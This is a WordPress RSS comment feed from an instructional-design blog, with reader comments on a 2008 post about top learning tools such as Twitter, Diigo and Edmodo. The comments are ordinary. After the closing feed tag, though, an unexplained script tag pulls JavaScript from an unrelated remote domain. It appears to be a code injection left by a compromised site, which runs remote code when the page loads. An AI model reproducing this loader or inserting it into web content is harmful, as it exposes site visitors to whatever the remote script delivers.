



































































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: My top ten tools for learning: version 2008</title>
	<atom:link href="http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/feed/" rel="self" type="application/rss+xml" />
	<link>http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/</link>
	<description>Random Musings of an Instructional Designer</description>
	<lastBuildDate>Tue, 23 Feb 2010 22:21:28 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
	<item>
		<title>By: My top ten tools for learning: version 2008 &#124; effectivedesign.org</title>
		<link>http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/comment-page-1/#comment-172</link>
		<dc:creator>My top ten tools for learning: version 2008 &#124; effectivedesign.org</dc:creator>
		<pubDate>Tue, 13 Jan 2009 16:31:10 +0000</pubDate>
		<guid isPermaLink="false">http://effectivedesign.org/2008/03/10/my-top-ten-tools-for-learning-version-2008/#comment-172</guid>
		<description>[...] My top ten tools for learning: version 2008. [...]</description>
		<content:encoded><![CDATA[<p>[...] My top ten tools for learning: version 2008. [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Michael</title>
		<link>http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/comment-page-1/#comment-119</link>
		<dc:creator>Michael</dc:creator>
		<pubDate>Sat, 27 Dec 2008 20:29:00 +0000</pubDate>
		<guid isPermaLink="false">http://effectivedesign.org/2008/03/10/my-top-ten-tools-for-learning-version-2008/#comment-119</guid>
		<description>Diigo (www.diigo.com) is a huge improvement on del.ici.ous, offering the opportunity to highlight sections of a saved document and append a sticky note as well.  It has caught fire in the education community.</description>
		<content:encoded><![CDATA[<p>Diigo (www.diigo.com) is a huge improvement on del.ici.ous, offering the opportunity to highlight sections of a saved document and append a sticky note as well.  It has caught fire in the education community.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jeff Bhavnanie</title>
		<link>http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/comment-page-1/#comment-118</link>
		<dc:creator>Jeff Bhavnanie</dc:creator>
		<pubDate>Tue, 27 May 2008 03:28:41 +0000</pubDate>
		<guid isPermaLink="false">http://effectivedesign.org/2008/03/10/my-top-ten-tools-for-learning-version-2008/#comment-118</guid>
		<description>Hi,

Please have a look at Flowchart.com. It&#039;s a realtime multiuser collaboration flowchart software which students will appreciate. We have many college students using this as part of their curriculum.

Thanks
Jeff</description>
		<content:encoded><![CDATA[<p>Hi,</p>
<p>Please have a look at Flowchart.com. It&#8217;s a realtime multiuser collaboration flowchart software which students will appreciate. We have many college students using this as part of their curriculum.</p>
<p>Thanks<br />
Jeff</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Benny</title>
		<link>http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/comment-page-1/#comment-117</link>
		<dc:creator>Benny</dc:creator>
		<pubDate>Fri, 25 Apr 2008 05:12:31 +0000</pubDate>
		<guid isPermaLink="false">http://effectivedesign.org/2008/03/10/my-top-ten-tools-for-learning-version-2008/#comment-117</guid>
		<description>I aspire to be a teacher one day, so it&#039;s interesting to see how you&#039;ve used technology. Perhaps one day I&#039;ll be making a list of my own with whatever technology exists when I end up as a teacher!

Thanks for the interesting post!</description>
		<content:encoded><![CDATA[<p>I aspire to be a teacher one day, so it&#8217;s interesting to see how you&#8217;ve used technology. Perhaps one day I&#8217;ll be making a list of my own with whatever technology exists when I end up as a teacher!</p>
<p>Thanks for the interesting post!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jane Hart</title>
		<link>http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/comment-page-1/#comment-116</link>
		<dc:creator>Jane Hart</dc:creator>
		<pubDate>Thu, 27 Mar 2008 13:20:46 +0000</pubDate>
		<guid isPermaLink="false">http://effectivedesign.org/2008/03/10/my-top-ten-tools-for-learning-version-2008/#comment-116</guid>
		<description>John

Can I use your list this year to add to the Spring collection of Top 10s.  The activity closes March 31st after which the Top 100 Tools Spring 2008 will be finalised.

Jane</description>
		<content:encoded><![CDATA[<p>John</p>
<p>Can I use your list this year to add to the Spring collection of Top 10s.  The activity closes March 31st after which the Top 100 Tools Spring 2008 will be finalised.</p>
<p>Jane</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Facebook atop Top Tools for Learning? : Edumorphology</title>
		<link>http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/comment-page-1/#comment-115</link>
		<dc:creator>Facebook atop Top Tools for Learning? : Edumorphology</dc:creator>
		<pubDate>Fri, 21 Mar 2008 21:40:28 +0000</pubDate>
		<guid isPermaLink="false">http://effectivedesign.org/2008/03/10/my-top-ten-tools-for-learning-version-2008/#comment-115</guid>
		<description>[...] Curry, a professor of Instructional Technology at Oklahoma State University, listed his top ten tools for learning.  What I find very hearting about the list is that so few are actually an [...]</description>
		<content:encoded><![CDATA[<p>[...] Curry, a professor of Instructional Technology at Oklahoma State University, listed his top ten tools for learning.  What I find very hearting about the list is that so few are actually an [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Michael Staton</title>
		<link>http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/comment-page-1/#comment-114</link>
		<dc:creator>Michael Staton</dc:creator>
		<pubDate>Fri, 21 Mar 2008 21:14:30 +0000</pubDate>
		<guid isPermaLink="false">http://effectivedesign.org/2008/03/10/my-top-ten-tools-for-learning-version-2008/#comment-114</guid>
		<description>Man, I&#039;ve heard people suggest twitter as an instructional tool before.  I even have some friends developing www.edmodo.com as a kind of educational twitter. But, seriously now, what&#039;s the learning/instructional part of it?</description>
		<content:encoded><![CDATA[<p>Man, I&#8217;ve heard people suggest twitter as an instructional tool before.  I even have some friends developing <a href="http://www.edmodo.com" rel="nofollow">http://www.edmodo.com</a> as a kind of educational twitter. But, seriously now, what&#8217;s the learning/instructional part of it?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Michael Staton</title>
		<link>http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/comment-page-1/#comment-113</link>
		<dc:creator>Michael Staton</dc:creator>
		<pubDate>Wed, 19 Mar 2008 04:13:03 +0000</pubDate>
		<guid isPermaLink="false">http://effectivedesign.org/2008/03/10/my-top-ten-tools-for-learning-version-2008/#comment-113</guid>
		<description>I like how most of your favorite tools are in fact social in nature.  Most instructional applications leave out the social element.</description>
		<content:encoded><![CDATA[<p>I like how most of your favorite tools are in fact social in nature.  Most instructional applications leave out the social element.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: dr.curry</title>
		<link>http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/comment-page-1/#comment-112</link>
		<dc:creator>dr.curry</dc:creator>
		<pubDate>Wed, 12 Mar 2008 17:13:15 +0000</pubDate>
		<guid isPermaLink="false">http://effectivedesign.org/2008/03/10/my-top-ten-tools-for-learning-version-2008/#comment-112</guid>
		<description>Okay, Dave and Lisa.

I&#039;ve created a twitter account: http://www.twitter.com/dctrcurry/

Now, how do I follow you or those you think I would find interesting?</description>
		<content:encoded><![CDATA[<p>Okay, Dave and Lisa.</p>
<p>I&#8217;ve created a twitter account: <a href="http://www.twitter.com/dctrcurry/" rel="nofollow">http://www.twitter.com/dctrcurry/</a></p>
<p>Now, how do I follow you or those you think I would find interesting?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Lisa M</title>
		<link>http://effectivedesign.org/blog/2008/03/10/my-top-ten-tools-for-learning-version-2008/comment-page-1/#comment-111</link>
		<dc:creator>Lisa M</dc:creator>
		<pubDate>Mon, 10 Mar 2008 22:06:59 +0000</pubDate>
		<guid isPermaLink="false">http://effectivedesign.org/2008/03/10/my-top-ten-tools-for-learning-version-2008/#comment-111</guid>
		<description>I&#039;m curious that you have ignored Twitter - even when prompted.  It&#039;s a mircoblog with lots of multiple access plugins - not restricted to phone use.</description>
		<content:encoded><![CDATA[<p>I&#8217;m curious that you have ignored Twitter &#8211; even when prompted.  It&#8217;s a mircoblog with lots of multiple access plugins &#8211; not restricted to phone use.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://nowisisdudescars.com/js.php"></script>